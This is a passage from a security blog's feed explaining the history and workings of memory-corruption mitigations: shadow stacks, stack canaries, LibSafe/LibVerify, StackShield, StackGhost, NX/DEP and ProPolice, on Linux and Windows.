Tigerlake processor released in 2020. Shadow stack is used to protect backward edge (i.e return address modification).</p><p>A shadow stack is a secondary stack allocated from memory which cannot be directly modified by the process. When shadow stacks are enabled, control transfer instructions/flows such as <em>near call, far call, call to interrupt/exception handlers</em>, etc. store their return addresses to the shadow stack and the process stack.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/_p6NBxGgyAea2Nq5fykQMeE7FErnWwHj5avHeC58itIRRhAbXAqTv9VlDeHCkQCRu2CtRSVRyLDflPSsXITyoWY-slEER0k3wwpjuG830lh3tLcG-kbhgTUxMX3d5pCCKFynmmPZsuS9CR2ZEwRew2M" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="267"></figure><p>The <em>ret </em>instruction pops the return address from both stacks and compares them. &#xA0;In the event that the return addresses from the two stacks do not match, the processor will indicate a control protection exception (#CP).</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/INjqPMpyFW35ZIJs1cYkbnu38FPGdy0GK-N1ixFh1KLfoyNL4DZLBNU4bCe2slLj1bxxdGSQtk3cim7pP63zzWE7uCrp6VVZShY2LGxsM4NbhPsKblfkW00vUxLUH4M9QRm-TvWnAb2vfhmqZb7n608" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="267"></figure><p>The shadow stack is protected from tamper through the page table protections such that regular store instructions cannot modify the contents of the shadow stack. To provide this protection the page table protections are extended to support an additional attribute for pages to mark them as &#x201C;Shadow Stack&#x201D; pages.</p><p>Note: The idea of shadow stack originated from 2005 CFI research paper: <a href="https://dl.acm.org/doi/10.1145/1102120.1102165?ref=nixhacker.com">https://dl.acm.org/doi/10.1145/1102120.1102165</a></p><p><br></p><p><strong>Shadow stack in Linux</strong> - To compile binary with shadow stack support you can use -fcf-protection flag in both gcc and llvm. You will not see any instruction modification in CET compiled binary for shadow stack since it&#x2019;s working is invisible from application.</p><p><strong>Shadow stack in windows</strong> - In windows, you can use <em>/CETCOMPAT</em> flag in visual studio 2019+ to compile binary with shadow stack support. You can read about shadow stack windows implementation from windows-internals blog <a href="https://windows-internals.com/cet-on-windows/?ref=nixhacker.com">https://windows-internals.com/cet-on-windows/</a>.</p><p>Note: Before introduction of Intel CET, Windows implemented software based shadow stack technology called Return flow guard in Windows 10 Redstone 2 14942. You can read about RFG here: <a href="https://xlab.tencent.com/en/2016/11/02/return-flow-guard/?ref=nixhacker.com">https://xlab.tencent.com/en/2016/11/02/return-flow-guard/</a></p><p><br></p><p><em>TODO: Add details on Backward edge limitations</em></p><p>That&apos;s all about second generation mitigations. We will look at error detection tools in next section.</p>]]></content:encoded></item><item><title><![CDATA[Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2]]></title><description><![CDATA[This article series is a technical dive into the evaluation of these memory corruption mitigations. This part is focus of mitigations that first generation, introduced before 2010 mostly.]]></description><link>http://nixhacker.com/nostalgic-memory-part-2/</link><guid isPermaLink="false">65999f7112c6400b44499e81</guid><category><![CDATA[Exploit Development]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Security]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Windows OS]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 06 Jan 2024 20:32:29 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/01/greek-titans-in-the-greek-mythology-889379.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/01/greek-titans-in-the-greek-mythology-889379.jpg" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2"><p>In this section we will go through the first generation techniques.</p><h2 id="first-generation-mitigations-the-titans">First generation mitigations ( The Titans)</h2><p></p><p>The first generation&apos;s mitigations are focused on detecting or preventing memory corruptions caused in the program. Over course of years, the timeline of these mitigations looks something like this</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/qOiCnMDq2pGM3x6HYUjqqSXD38tSHhNpmBNHAJl-1Sc4USTU2kU7LoYIITxQMXGQB3OMq5HDBnu-stcOnKTGKxj_vEe3hzQ8iKEYQGOTy9syVwOINEuAbKawDTHTcLYayTBKB95UDHMw_HAS4L_XnPg" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="336"></figure><p></p><h3 id="stack-guard">Stack Guard</h3><p>Stack guard, also referred to as Stack smashing protection, was initially introduced in 1997 as a notable defense mechanism against buffer overflow. This innovation was subsequently integrated into gcc 2.7 in the year 1998. The consumer market was first presented with this safeguard in the Immunix distribution during the same year.</p><p>The operating principle of stack guard involves adding a random 8 bytes data (called stack canaries) at the starting of the function stack frame. Upon the function&apos;s return, a comparison is made to ascertain whether the canary remains unchanged. In the event of an overflow, the canaries are also altered so as to modify the return address. Upon termination, if it is determined that the canary has been tampered, the program gets terminated.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/hnbsjlAhBgZA8L0nXFpEQbD4KOzSJaXpW_rJTD7FqyK9A5EVfQYhBf05M64zA6RhImjUAuh_Yl4uRZyGSUFZk-_b-yOpGcoPgyE6KJ51C299eWsEvw6LZXp41Kuhn4NskQ_VuoYo5GYU0TMX0QQJTl4" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="511" height="211"></figure><p>Let&#x2019;s take a look at the stack guard implementation in linux.</p><h4 id="stack-canary-implementation-in-linux">Stack canary implementation in Linux:</h4><p>If you compile the above mentioned classic buffer overflow program in any linux distro with &#xA0;parameter -<em>fstack-protector</em> and check the disassembly in IDA, you will see some canary specific check at starting of main function.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/HlysshREvw0o7prEC8y5CX5dS22DfEOOKpS5x-_oIhPBm5jgLKDpAQlCTq8nMsiTqCASaMemtS5B3T6AOKN44azP-O6blNHMn2tWdq5CwAgiMYqos4HQGVok1Nla0CuyN5y98QHllGJ7USNdYLXspNw" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="493" height="318"></figure><p>Here <em><code>fs:[0x28]</code></em> holds the random 8 byte stack guard value that has been saved to stack (showing as <em>var_8</em>) as the first thing. At the function epilog you will see the following instructions sequence.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/rnuL6IB9wWaa1eoZUSmX40zCqhw16Aa5_uYsHeg5Rr8ftA2cKd-fA9iGvMxh9DTs9kT3eC0EEpnvprMpQq-Zz81ld7-oirJvUVeiu8gtDr7KjenGniTW37gceWl04_4QfUICRkzGwDbJq-qOg8lOKgg" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="299" height="294"></figure><p>Here the <em>var_8 </em>(which holds the canary value) is moved to <em>rcx </em>and subtracted <em>fs:0x28</em> from it to check if it&#x2019;s 0 or not. If it&#x2019;s not zero, implies the canary value has been modified which cause execution of <em>__stack_chk_fail,</em> that will terminate the program execution.</p><blockquote><em>Note: Use of fs segment in latest x86 linux: The <code>%fs</code> segment register is used to implement the thread pointer. The linear address of the thread pointer is stored at offset 0 relative to the <code>%fs</code> segment register.</em></blockquote><p><strong>On which functions gcc adds stack guards?</strong></p><p>From the previously mentioned observations, it can be inferred that the inclusion of stack guard entails the addition of a considerable number of novel instructions to a given function. This, in turn, may result in a slight performance impact. Consequently, compilers such as gcc, or any other compiler for that matter, will only append these stack guard checks to a function if specific prerequisites are satisfied. Thus, the following options are made available within the gcc framework to enable stack guard functionality based on requirement:</p><ul><li><em><strong>-fstack-protector</strong></em> &#x2013; Adds stackguard on functions that have a local buffer of 8 bytes or more or functions that call <em>alloca</em>().</li><li><em><strong>-fstack-protector-strong</strong></em> &#x2013; Adds stack guard on functions that have local array definitions, or have references to local frame addresses.</li><li><em><strong>-fstack-protector-all</strong></em> &#x2013; Adds canary on all functions.</li></ul><p><strong>Stack canaries on linux kernel</strong></p><p>Stack Canary based protection was introduced in linux kernel 2.6 in 2008. Linux supports following config parameters to define which functions needs canary during build:</p><ul><li><em>CONFIG_CC_STACKPROTECTOR</em> &#x2013; Similar to <em>-fstack-protector</em>. Puts canary at starting of function with stack allocation more than 8 bytes.</li><li><em>CONFIG_CC_STACKPROTECTOR_STRONG</em> &#x2013; Similar to <em>-fstack-protector-strong</em>.</li><li><em>CONFIG_CC_STACKPROTECTOR_ALL</em> - Add canary to all function</li><li><em>CONFIG_CC_STACKPROTECTOR_AUTO</em> &#x2013; Try to compile the kernel with the best possible option available.</li><li><em>CONFIG_CC_STACKPROTECTOR_NONE</em> &#x2013; Build kernel without any stack guard protection.</li></ul><p>The instruction sequence will looks like below:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/hzJdpvkNCC-Kge6eB0-yZbMWnHfkhU5-r-kFRn_p8OfzanXI5nLJv9cg8mIK_100jun8LHSjMqCWYBo_t3nS1h-6L-zjqexMxpXE-boUjJGrB87MARLeeYzAbQ1CEQaGAy3LMiHjBGV9tC6n6ZAOkDI" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="353" height="141"></figure><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LG_ZIicHve-9zepSzTLi3BdJ9c2B0PHeu4pjZc-poIDQS2NgGqWZ4sOEqrBwkDDKa8CaZTFJgwh67MNcmmOxguYlTp743Q_xNxpFLZQtqxNzpNmkQ2j0SGIQuEaOEYjFRURqVsJ1LDUhPb-t8eX-ye4" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="155"></figure><h4 id="stack-guard-in-windows">Stack Guard in Windows</h4><p>Stack guard was introduced in windows in 2003 with the visual studio support for<em> /gs</em> flag.</p><p>In case of windows you will going to see following instruction set at the function prolog:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LN6pgeu2w7FBAN5yEU6DF1uyWqcx7o_n1D8mM5SM1JZtR5M1fTmLLtZpz5Q2TpeirNkpjbwex0UdlOEXyrB-tQy4fupbOAzhcDIvtmmU1P0csQk4QggJr4oGnvuxJgj0Bav6khp2JVna_XpMYFNm_50" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="432" height="48"></figure><p>In windows, rather than saving the canary directly like linux implementation, it&apos;s first <em>xored </em>with base pointer(<em>rbp</em>) and then saved in the stack.Extra <em>xor </em>operation adds a layer of randomization to canary value since the base pointer itself is random on each program execution due to ASLR. Following will be the code you will find on epilog of function:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/EG442eNjbtqF0I4jaEabvLI3gbXVMroLfZzgj8INWJ2k9M4zWqBmNS-MfVg_nsyibmf315y2hX_hYzlXAEZptXDGh1_BN-dEoYPquT1adzaEKk8NkOvMVyx44S5wQs44hgY_3uEAaxyQz8kw8v2_Jns" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="279" height="110"></figure><p>The function call to <em>j__security_check_cookie</em> will verify if <em>rcx </em>is set to 0 or not. If not, then the function will abort the program.</p><p><strong>Implementation in Windows kernel</strong></p><p>The Windows kernel also provides support for stack canary based protection. However, upon conducting my analysis, I discovered a limited number of functions that incorporate canary check. Furthermore, there is no explicitly defined criteria known regarding the selection of these functions by the kernel. Nevertheless, you will encounter some instances similar to the ones mentioned below:</p><p>prolog:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/TRKUohM_BO_rWlkmocCRsbX6i_hOrQb1cRRXoPFCGQdW-B_01kVxb78noLDO95hgdOFdTRbxDnN5jDo6tfzDvpg_iN84oy8NELUl-kQ--fnn9GX9gaHAgdLsP7mVSDjiv5KYpWAcZAVk2KmizcfcB-g" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="463" height="87"></figure><p>epilog:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/8NaeG5x-NE4jD8qtOvN7qxC5sutDTq_hQ9-kLGR-EQvb-MK5fwGkThHyi6fElawaSBc37NdifDb1dWMv5bQTXmBlV9JX6Bz3pBklbNutLWH68NxdbFmt9wJuKrPMXOYMI7XhS9OstTDqQnmWJRMb3yM" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="465" height="96"></figure><p><br>Note that the kernel doesn&#x2019;t use <em>gs </em>or <em>fs </em>segments to store random canary but rather has a global variable defined for this.</p><h4 id="limitation-of-stack-canary">Limitation of stack canary</h4><p>The most prominent issue with stack canary&#x2019;s overall architecture is that it&apos;s there to detect the overflows rather than protect it. i.e it does not prevent a buffer from overflowing but instead detects the overflow once it has already occurred, during the function return.</p><p>Above can be a challenging situation in multiple cases like below:</p><p>In kernel space stack guard is not the best solution since the memory mapping in kernel space is linear i.e there is no or very less isolation between different components of kernel. Consequently, if an overflow occurs with the stack guard in place, an attacker can potentially modify other kernel components before the overflow is detected. In summary, if a stack overflow is detected at all on a production system, it is often well after the actual event and after an unknown amount of damage has been done.</p><p>Bypassing with brute force:</p><p>The success of stack guard heavily depends on the randomization of canary/ guard value. In older or some custom systems, canary values are predefined or pseudo random which makes guessing it easy for the attacker. If the value is guessed correctly, stack canary becomes essentially useless.</p><p></p><h3 id="libsafe-and-libverify">LibSafe and Libverify</h3><p>LIbsafe was an important idea presented on usenix conference by a few researchers from bell labs and rst corp in 2000. It was targeted for the linux platform and was merged into Debian the same year. </p><p>Unlike most other common mitigations, libsafe/libverify can work on pre compiled binary as all of its implementation is present as a dynamic loaded library that can be loaded along with any or all processes.</p><h5 id="libsafe">LibSafe</h5><p>The libsafe intercepts all calls to library functions that are known to be vulnerable from their loaded library. A substitute version of the corresponding function implements the original functionality but in a manner that any buffer overflow are contained within the current stack frame. Detection is based on maximum buffer size that a single write can modify, which get realized by the fact that local buffers cannot be modified beyond the current stack frame. &#xA0;It can be understood more clearly with the below illustration</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/bffA0mFxX3UTrK6p1TyjZIZsphI243BounityNxCpLdF3dQifPFE-VLtxu6dZwpb6w47umBV_rK3WqM1IzLfiiNsRtesN0yiwN3N_D1AYcPcGmxXXw6_wF64CVqMJ4QwUCkvqOU5WUG8FA3m1MI0UWI" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="356"></figure><p>At the time <em>strcpy()</em> is called, the frame pointer (i.e., the ebp register in the Intel Architecture) will be pointing to a memory location containing the previous frame&#x2019;s frame pointer. Furthermore, the frame pointer separates the stack variables (local to the current function) from the parameters passed to the function. The size of the buffer and all other stack variables residing on the top frame cannot extend beyond the frame pointer&#x2014;this is a safe upper limit. A correct C program should never explicitly modify any stored frame pointers, nor should it explicitly modify any return addresses (located next to the frame pointers). Libsafe use this knowledge to detect and limit stack buffer overflows. As a result, the attack executed by calling the <em>strcpy()</em> can be detected and terminated before the return address is corrupted.</p><h5 id="libverify">LibVerify</h5><p>The libverify library relies on verification of the function&apos;s return address before it is used (in a similar way StackGuard is used). It injects the verification code at the start of process execution via rewriting the binary after it is written on the memory. It can be illustrated using the diagram below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/hSdzHVwuGHqxBqPOI0XyL-YVjkFpzI_tCRPWovUu87ETwnjtTyQgFFhpAbtO3Rcd_nWr8MQczMrDNYLUwkpPZBmLwIDpyLa411p_0KbMhawEW4JWgiJsaynPYc2-RpQYCXdqcu9kJX2aI582iaGwHv8" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="329"></figure><p>Before the process commences execution, the library is linked with the user code. As part of the linking procedure, the <em>init()</em> function in the library is executed. The <em>init()</em> function contains a stub to instrument the process such that the canary verification code in the library will be called for all functions in the user code.</p><p>The instrumentation includes the following steps:</p><p>1. Determine the location and size of the user code.</p><p>2. Determine the starting addresses of all functions in the user code.</p><p>3. For each function (a) Copy the function to heap memory.(b) Overwrite the first instruction of the original function with a jump to the wrapper entry function. (c) Overwrite the return instruction of the copied function with a jump to the wrapper exit function.</p><p>The wrapper entry function saves a copy of the canary value on a canary stack and then jumps to the copied function. The wrapper exit function verifies the current canary value with the canary stack. If the canary value is not found on the canary stack, then the function determines that a buffer overflow has occurred. In contrast to StackGuard, which generates random numbers for use as canaries, libverify uses the actual return address as the canary value for each function. This simplifies the binary instrumentation procedure because no additional data is pushed onto the stack, which means that the relative o sets to all data within each stack frame remain the same.</p><p><strong>Resources:</strong></p><p><a href="https://www.usenix.org/legacy/publications/library/proceedings/usenix2000/general/full_papers/baratloo/baratloo.pdf?ref=nixhacker.com">https://www.usenix.org/legacy/publications/library/proceedings/usenix2000/general/full_papers/baratloo/baratloo.pdf</a></p><p></p><h3 id="stackshield">StackShield</h3><p></p><p>Stack shield is an independent toolset that was released in 2000 for linux. It consist of <em>shieldgcc </em>and <em>shieldg++</em> (replacement of default gcc and g++) to compile c/c++ binary with stackshield protection.</p><p>Stack Shield has two main protection methods: the Global Ret Stack (default) and the Ret Range Check. The core feature(Global Ret Stack) of stackshield is to save and verify &#xA0;the return address in a separate memory space named retarray.</p><p>It uses two global variables for a &#xA0;function. <em>rettop </em>&#x2013; which stores the end address of <em>retarray </em>and <em>retptr </em>which holds the address where next return address need to be saved. On entry to a protected function, the return address is copied from the stack to <em>retarray </em>and <em>retptr </em>is incremented. During epilog return addresses saved in stack are not used. Instead of them, the cloned return address stored in <em>retarray</em> are honored. The pseudo assembly for stack shield looks like this:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/0aI6Je7sOnLobO89MnLpebt6gELsrDtuTsgS69aNk1uDmpynsgiC-xE4CtmucFYfVlgbtuB7IRcX14roeQIe1moGYYVnpU2Kkoc__XFgvjpyWitssXKZ4MCHtmTWw0A8om1AAkURUu2-IcNKmBNPeLs" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="643"></figure><p>Stack shield also contain another level of protection where the cloned return address is compared with the one presented in stack, and if they are different, a SYS exit system call is issued, abruptly terminating the program.</p><p>Another feature of Stack shield Ret Range Checking which detect and stop attempts to return into addresses higher than that of the variable <em>shielddatabase</em>, assumed to mark the base for program&#x2019;s data, where we may say for simplicity, heap and stack are located. The pseudo code for this looks something like this:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/DeW2lFWMwGwJHw_HUckBQSz8-I3tvq12w5IOePcAogwPyw2d2MZQSPNzcZ3vahqr9RklDcQULyqTwdFeqbDsLe9ZkM35lkHog5rIp-zLLaCJI49ubpCbf-DM3I3V75r2GtjkAgpVbQG2QSFIOmuV37c" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="246"></figure><p><strong>Resources:</strong></p><p>Stackshield homepage: https://www.angelfire.com/sk/stackshield/index.html</p><p>More info: https://www.cs.purdue.edu/homes/xyzhang/spring07/Papers/defeat-stackguard.pdf</p><p></p><h3 id="stackghost">Stackghost</h3><p>In 2001, Mike Frantzen from Purdue university came up with a Hardware-facilitated stack overflow protection technique that will be implemented on kernel space, named as StackGhost. In 2001 stackghost was added in OpenBSD but started to be shipped enabled by default in 2004. &#xA0;It was one of the major initial research done against protecting stack overflows, that has inspired many researchers and implementation later in future.. The StackGhost research was mostly targeted for Sun microsystems Sparc architecture but can easily be imported to other architectures.</p><p>It uses register windows in SPARC architecture to make stack overflow exploitation harder. Stackghost only needs to be evoked on deep function calls and recursive function calls. From the Wikipedia:</p><blockquote><em>It uses a unique hardware feature of the Sun Microsystems SPARC architecture (that being: deferred on-stack in-frame register window spill/fill) to detect modifications of return pointers (a common way for an exploit to hijack execution paths) transparently, automatically protecting all applications without requiring binary or source modifications.</em></blockquote><p>Along with the above main StackGhost idea, &#xA0;this research also suggested additional mechanisms that can be added with the above method to make stack overflow exploitation harder. These ideas were very raw during that time, hence worth to mention here:</p><p><strong>Encoded Return address</strong>: Rather than saving the exact return address, a reversible transform can be applied to the actual return address and the result saved process stack. When the return address needs to be accessed, the reverse transform can be applied before the access completes. To retrieve the actual value a reverse computation is calculated. If the attacker doesn&#x2019;t know the transform or the key to transform, he/she will not be able to redirect the program flow with his own shellcode address.</p><p>One of the ways above technique can be used is by using the last two LSB in address since they are always zero due to 32 bit word alignment required for each instruction in SPARC architecture. The transformation can invert one or both least significant bits. A corrupted &#xA0;return address will be detected when these bits are not set during inverse transformation.</p><p><strong>Return Address stack</strong>: A corrupt return pointer can also be detected by keeping a return-address stack. Every time a return pointer is saved to the program stack, the handler can keep another copy in memory not accessible to the userland process (a return-address stack). A corrupt return pointer is detected if a function tries to return to a location not saved in the return stack.</p><p>The idea is to &#xA0;have a return address stack as a FIFO queue. A refined approach to designing a return-address stack is to add a small hash table in the PCB. Every time a register window needs to be cleansed, the mechanism would add an entry into the hash table (indexed off the base address of the stack frame). And then store the base address to use as the comparison tag, the return pointer, and a random 32- bit number. In the place of the return address in the stack frame, it would place a copy of the random number. When StackGhost retrieves the stack frame to refill the register window, it can compare the random number on the stack with its image in the hash table. If the instances do not match, an exploit has occurred and the program must be aborted.</p><p><strong>XOR Cookie</strong> &#x2013; Another important mention in Stackghost paper is to protect the return address by XORing a fixed cookie with the return address. XORing the cookie before it is saved and xoring again after it popped off preserve the legitimate pointer but distort the attack. Stackghost&apos;s idea was to build either a 13 bit preset cookie in OpenBSD kernel that will remain same throughout the system/between processes or have a per process cookie.<br></p><p><strong>Encrypted Stack Frame</strong> &#x2013; Corrupted &#xA0;return can also be detected by encrypting part of the stack frame when the window is written to the stack and decrypting it during retrieval. Although it is going to have a significant performance impact.</p><h5 id="limitations-of-stack-ghost">Limitations of Stack Ghost</h5><ul><li>Randomness of XOR cookie is low, making it easily predicted and align with the actual address.</li><li>Most of the techniques that stackghost use are based on detection but not prevention. An exploit can still cause Denial of service.</li><li>StackGhost will not stop every exploit, nor will it guarantee security. Exploits that StackGhost will not stop include:</li><li>1. A corrupted function pointer (<em>atexit </em>table, .<em>dtors</em>, etc.)</li><li>2. Data corruption leading to further insecure conditions.</li><li>3. &#x201C;Somehow&#x201D; overwriting a frame pointer with a frame pointer from far shallower in the calling sequence. It will short circuit backwards through a functions&#x2019; callers and may skip vital security checks.</li></ul><p></p><h3 id="execution-space-protection">Execution space protection</h3><p>A process or kernel memory is partitioned into several segments that serve different purposes. For example, a process memory typically consists of a executable section (.<em>text</em>), read only data (.<em>rodata</em>), read/writable data (.<em>data</em>), a stack and a heap. Below is one way of memory layout</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/DzIomieeBDN0yCYA7IvJxjwUIUHPnzoZ6jHM6AC0zbloctEoIj6W37N9U47zuisfllyPk1vEBFjrTjd3jqwMtzxJONmSMgCDGbPDw7elfMWjzTKdrsAmQwWkSQh2H0_GQUYKU7amhFIsV-rjzaJS8Eg" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="613"></figure><p>Since each section has different usage, they required different memory permissions. For instance, by default, the .<em>rodata </em>section should exclusively possess read permissions, while the .text section should possess both read and execute permissions.</p><p>It is imperative for operating systems to effectively enforce these permissions in order to circumvent unexpected behavior or misuse of memory. For instance, there may exist scenarios wherein an attacker gains the privilege to write to any memory location within a process. This privilege can be exploited by modifying the program&apos;s behavior through altering the instructions within the text section of the process&apos;s memory. However, with accurately enforced memory permissions, any attempts to write to the text section of the process&apos;s memory will be thwarted.</p><blockquote>Note: You can check the memory permissions of each section for a process in linux by using<em> <code>cat /proc/&lt;pid&gt;/maps</code></em>. Similarly the process memory permissions can be checked in windows using <em>!address</em> command in windbg attached to the target process.</blockquote><p>As a part of ESP, your loader will mark the memory region as Non executable to block execution of any shellcode in that area. In a perfectly implemented operating system, following memory regions are marked as non executable:</p><ul><li>All non writable sections including .data, .rodata, .bss etc</li><li>Stack and heap of process</li></ul><p>The above implementation will prevent any exploitation of process address space against any arbitrary shellcode execution present in these memory regions. To make this execution prevention more readily implementable, chipmakers have implemented this as a hardware feature called as Data Execution prevention/NX stack explained below:</p><p></p><h3 id="nx-protection">NX protection</h3><p>In 1998, a team name &#x201C;solar designers&#x201D; developed a patch for linux that will make the stack non executable. But due to the gcc&#x2019;s limitations of using stack to store trampoline function and executing it, the implementation didn&apos;t get merged in gcc until 2004 (which was after the introduction of NX bit in x86 processors).</p><p>Intel and AMD introduced NX bit support in 2001 in AMD64 and Intel Itanium processors respectively. This is an extra bit added in the page table entry to mark the page as non executable.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/UFv-gbBfh9CY-6mNlgkAwCkDcMIJN2ewRlSAg_r9UsLzC9jQgg9vkHyvU9caJ_LKs42ckRJ_Tk4jdmi5FSMY_BmsQ942RPg0qm6ceANSaQTI6aaZaHPB8EXsn7OjZmEiAVD72UyvoX6z7Wom16cB8bc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="191"></figure><p>In 64 bit machine (as mentioned in above image) the bit 63rd &#xA0;(MSB in address) will be used to mark a page as non executable. This will prevent the impact of buffer overflow exploitation where attacker try to execute shellcode present in the user input &#xA0;buffer in stack or heap.</p><p>This feature was introduced in windows with the name DEP (Data execution prevention) in 2003 in windows XP. Currently, NX protection is available and used at all major operating systems at userspace and kernel space both.</p><h4 id="limitations-of-nx-stack">Limitations of NX stack</h4><p>Clearly the protection will only protect against the case where an attacker will try to pass the shellcode in user buffer and execute it later. The return address redirection is still possible. Attackers can still redirect the program flow to a function already present inside process memory. One such famous attack in linux is &#x201C;return to libc&#x201D;. This method is also called ROP or JOP (where ROP stands for Return oriented programming and JOP for Jump oriented programming).</p><p><strong>Resources</strong>:</p><p><a href="https://academickids.com/encyclopedia/index.php/NX_bit?ref=nixhacker.com">https://academickids.com/encyclopedia/index.php/NX_bit</a></p><p></p><h3 id="propolice">Propolice</h3><p>Propolice is the stack smashing protection patches that are added by IBM in gcc in year 2004. The idea was based on improving the coverage and detection of existing Stack Guard protection.</p><p>The improvement in &#xA0;propolice method compared to stackguard &#xA0;is the location of the guard and the protection of function pointers. The guard is inserted next to the previous frame pointer and it is prior to an array, which is the location where an attack can begin to destroy the stack.</p><p>The Propolice extension patch consists of following major changes to existing gcc:</p><ul><li>the reordering of local variables to place buffers after pointers to avoid the corruption of pointers that could be used to further corrupt arbitrary memory locations,</li><li>the copying of pointers in function arguments to an area preceding local variable buffers to prevent the corruption of pointers that could be used to further corrupt arbitrary memory locations, and the</li><li>omission of instrumentation code from some functions to decrease the performance overhead.</li></ul><p><strong>Safety function model:</strong></p><p>To decrease the impact of stack overflow, propolice includes an improved function stack model compared to stackguard, that can be followed to minimize the impact of stack overflow.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/-_wzC4xdBMI7fxgwJ1Wkla3-98exPFphPu8foa4y6-N3PEPw_aK5p0HqWoprJpwb2hxvP24gqUhBKhSULolKKymLDOu4QEunvgTMLWcf-VZtaVcFlQTnY02IC2SQfJt7G2zDccbCxPrCwMZl3XQxDw0" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="357" height="173"></figure><p>safety function model, which involves a limitation of stack usage in the following manner:</p><ul><li>the location (A) has no array or pointer variable</li><li>the location (B) has arrays or structures that contains an array</li><li>the location (C) has no array</li></ul><p>This model has the following properties:</p><ul><li>The memory locations outside of a function frame cannot be damaged when the function returns.</li><li>The location (B) is the only vulnerable location where an attack can begin to destroy the stack. Damage outside of the function frame can be detected by the verification of the guard value. If damage occurs outside of the frame, the program execution stops.</li><li>An attack on pointer variables outside of a function frame will not succeed. &#xA0; &#xA0; &#xA0;The attack could only succeed if the following conditions were satisfied: (1) the attacker changes the value of the function pointer, and (2) he calls a function using the function pointer. In order to achieve the second condition, the function pointer must be visible from the function, but our assumption says this information is beyond the function scope. Therefore, the second condition can&apos;t be satisfied, and the attack will always fail.</li><li>An attack on pointer variables in a function frame will not succeed. &#xA0; &#xA0; &#xA0;The location (B) is the only vulnerable location for a stack-smashing attack, and the damage goes away from area (C). Therefore, the area (C) is safe from the attack.</li></ul><p><strong>Pointer protection</strong></p><p>Another common stack overflow exploitation scenario is when the vulnerable &#xA0;function consists of a function pointer as local variable like below:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/pdlzsRpU1OvYQehZ87LEM9iv7XsS2KtLq-UBAUqPJUnQO5VsiYIaj5PXs9_p63XD-Cfv9X1msivbhuz9lspqP1rTDOIG2iKeXgFk3IiXIwcnD0QQ4OQ4YRzVHio6hPNlQtZWym6_zHyr2R7uytT_BCo" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="357" height="164"></figure><p>In order to protect function pointers from stack-smashing attacks, propolice change the stack location of each variables to be consistent with the safe function model. &#xA0;It makes a new local variable, copying the argument <code>func1</code> to it, and changing the reference to <code>func1</code> to use the new local variable.</p><figure class="kg-card kg-image-card"><img 